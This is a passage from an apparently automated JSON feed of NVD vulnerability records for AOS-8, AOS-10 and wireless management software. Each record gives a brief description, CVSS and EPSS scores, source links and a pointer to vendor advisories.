an unauthenticated adjacent attacker to access limited information handled by the...","summary":"A sensitive information disclosure vulnerability in the PAPI protocol of AOS-8 could allow an unauthenticated adjacent attacker to access limited information handled by the affected service. Successful exploitation could allow an attacker to view some information and to disrupt the availability of the affected service.","detail":"A sensitive information disclosure vulnerability in the PAPI protocol of AOS-8 could allow an unauthenticated adjacent attacker to access limited information handled by the affected service. Successful exploitation could allow an attacker to view some information and to disrupt the availability of the affected service.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:18:07.040Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95712","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00237,"percentile":0.14604,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-95712&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-95712","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95712","type":"primary","publishedAt":"2026-10-22T19:18:07.040Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-95712&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-95712, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95711","cveId":"CVE-2026-95711","aliases":[],"kind":"vulnerability","title":"An authentication bypass vulnerability in the web-based management interface of AOS-10 could allow an unauthenticated adjacent attacker to circumvent existing authentication...","summary":"An authentication bypass vulnerability in the web-based management interface of AOS-10 could allow an unauthenticated adjacent attacker to circumvent existing authentication controls and run arbitrary commands on the underlying host if certain preconditions outside of the attacker's control are met. Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the underlying operating system.","detail":"An authentication bypass vulnerability in the web-based management interface of AOS-10 could allow an unauthenticated adjacent attacker to circumvent existing authentication controls and run arbitrary commands on the underlying host if certain preconditions outside of the attacker's control are met. Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the underlying operating system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:18:06.880Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95711","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00238,"percentile":0.14653,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-95711&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-95711","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95711","type":"primary","publishedAt":"2026-10-22T19:18:06.880Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-95711&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-95711, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95710","cveId":"CVE-2026-95710","aliases":[],"kind":"vulnerability","title":"An unauthenticated buffer overflow vulnerability exists in the underlying operating system of AOS-10 or AOS-8 and could allow an unauthenticated adjacent attacker to conduct a...","summary":"An unauthenticated buffer overflow vulnerability exists in the underlying operating system of AOS-10 or AOS-8 and could allow an unauthenticated adjacent attacker to conduct a denial of service attack. Successful exploitation could allow an attacker to disrupt the availability of the affected system, with a limited impact to the integrity of the affected component.","detail":"An unauthenticated buffer overflow vulnerability exists in the underlying operating system of AOS-10 or AOS-8 and could allow an unauthenticated adjacent attacker to conduct a denial of service attack. Successful exploitation could allow an attacker to disrupt the availability of the affected system, with a limited impact to the integrity of the affected component.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:18:06.770Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95710","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00227,"percentile":0.13252,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-95710&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-95710","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95710","type":"primary","publishedAt":"2026-10-22T19:18:06.770Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-95710&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-95710, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95709","cveId":"CVE-2026-95709","aliases":[],"kind":"vulnerability","title":"Command injection vulnerabilities exist in the affected interface of AOS-10 that could allow an authenticated remote attacker with high privileges to perform command injection.","summary":"Command injection vulnerabilities exist in the affected interface of AOS-10 that could allow an authenticated remote attacker with high privileges to perform command injection. Successful exploitation could allow an attacker to execute arbitrary commands as a privileged user on the underlying operating system.","detail":"Command injection vulnerabilities exist in the affected interface of AOS-10 that could allow an authenticated remote attacker with high privileges to perform command injection. Successful exploitation could allow an attacker to execute arbitrary commands as a privileged user on the underlying operating system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:18:06.660Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95709","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.01265,"percentile":0.69526,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-95709&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-95709","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95709","type":"primary","publishedAt":"2026-10-22T19:18:06.660Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-95709&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-95709, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95708","cveId":"CVE-2026-95708","aliases":[],"kind":"vulnerability","title":"Command injection vulnerabilities exist in the affected interface of AOS-10 that could allow an authenticated remote attacker with high privileges to perform command injection.","summary":"Command injection vulnerabilities exist in the affected interface of AOS-10 that could allow an authenticated remote attacker with high privileges to perform command injection. Successful exploitation could allow an attacker to execute arbitrary commands as a privileged user on the underlying operating system.","detail":"Command injection vulnerabilities exist in the affected interface of AOS-10 that could allow an authenticated remote attacker with high privileges to perform command injection. Successful exploitation could allow an attacker to execute arbitrary commands as a privileged user on the underlying operating system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:18:06.553Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95708","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.01265,"percentile":0.69526,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-95708&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-95708","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95708","type":"primary","publishedAt":"2026-10-22T19:18:06.553Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-95708&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-95708, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95707","cveId":"CVE-2026-95707","aliases":[],"kind":"vulnerability","title":"A buffer overflow vulnerability in the PAPI protocol of AOS-8 could allow an authenticated remote attacker with high privileges to achieve remote code execution.","summary":"A buffer overflow vulnerability in the PAPI protocol of AOS-8 could allow an authenticated remote attacker with high privileges to achieve remote code execution. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system.","detail":"A buffer overflow vulnerability in the PAPI protocol of AOS-8 could allow an authenticated remote attacker with high privileges to achieve remote code execution. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:18:06.447Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95707","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00711,"percentile":0.53292,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-95707&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-95707","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95707","type":"primary","publishedAt":"2026-10-22T19:18:06.447Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-95707&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-95707, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95706","cveId":"CVE-2026-95706","aliases":[],"kind":"vulnerability","title":"Command injection vulnerabilities in the affected interface of AOS-8 could allow an authenticated remote attacker with high privileges to perform command injection.","summary":"Command injection vulnerabilities in the affected interface of AOS-8 could allow an authenticated remote attacker with high privileges to perform command injection. Successful exploitation could allow an attacker to execute commands with the privileges of the impacted mechanism on the underlying operating system.","detail":"Command injection vulnerabilities in the affected interface of AOS-8 could allow an authenticated remote attacker with high privileges to perform command injection. Successful exploitation could allow an attacker to execute commands with the privileges of the impacted mechanism on the underlying operating system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:18:06.337Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95706","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.01152,"percentile":0.66733,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-95706&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-95706","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95706","type":"primary","publishedAt":"2026-10-22T19:18:06.337Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-95706&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-95706, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95705","cveId":"CVE-2026-95705","aliases":[],"kind":"vulnerability","title":"Command injection vulnerabilities in the affected interface of AOS-8 could allow an authenticated remote attacker with high privileges to perform command injection.","summary":"Command injection vulnerabilities in the affected interface of AOS-8 could allow an authenticated remote attacker with high privileges to perform command injection. Successful exploitation could allow an attacker to execute commands with the privileges of the impacted mechanism on the underlying operating system.","detail":"Command injection vulnerabilities in the affected interface of AOS-8 could allow an authenticated remote attacker with high privileges to perform command injection. Successful exploitation could allow an attacker to execute commands with the privileges of the impacted mechanism on the underlying operating system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:18:06.230Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95705","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.01152,"percentile":0.66734,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-95705&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-95705","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95705","type":"primary","publishedAt":"2026-10-22T19:18:06.230Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-95705&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-95705, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95704","cveId":"CVE-2026-95704","aliases":[],"kind":"vulnerability","title":"A vulnerability in the web-based management interface of wireless network management systems could allow an authenticated remote attacker to execute remote code.","summary":"A vulnerability in the web-based management interface of wireless network management systems could allow an authenticated remote attacker to execute remote code. Successful exploitation could enable an attacker to execute arbitrary commands on the underlying operating system, potentially compromising system integrity and data security.","detail":"A vulnerability in the web-based management interface of wireless network management systems could allow an authenticated remote attacker to execute remote code. Successful exploitation could enable an attacker to execute arbitrary commands on the underlying operating system, potentially compromising system integrity and data security.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:18:06.120Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95704","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00655,"percentile":0.51093,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-95704&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-95704","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95704","type":"primary","publishedAt":"2026-10-22T19:18:06.120Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-95704&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-95704, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79956","cveId":"CVE-2026-79956","aliases":[],"kind":"vulnerability","title":"A vulnerability in the CLI command handling of the AOS-8 web interface could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating...","summary":"A vulnerability in the CLI command handling of the AOS-8 web interface could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating system. Successful exploitation could allow an attacker to run unauthorized commands on the system, potentially leading to system compromise.","detail":"A vulnerability in the CLI command handling of the AOS-8 web interface could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating system. Successful exploitation could allow an attacker to run unauthorized commands on the system, potentially leading to system compromise.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 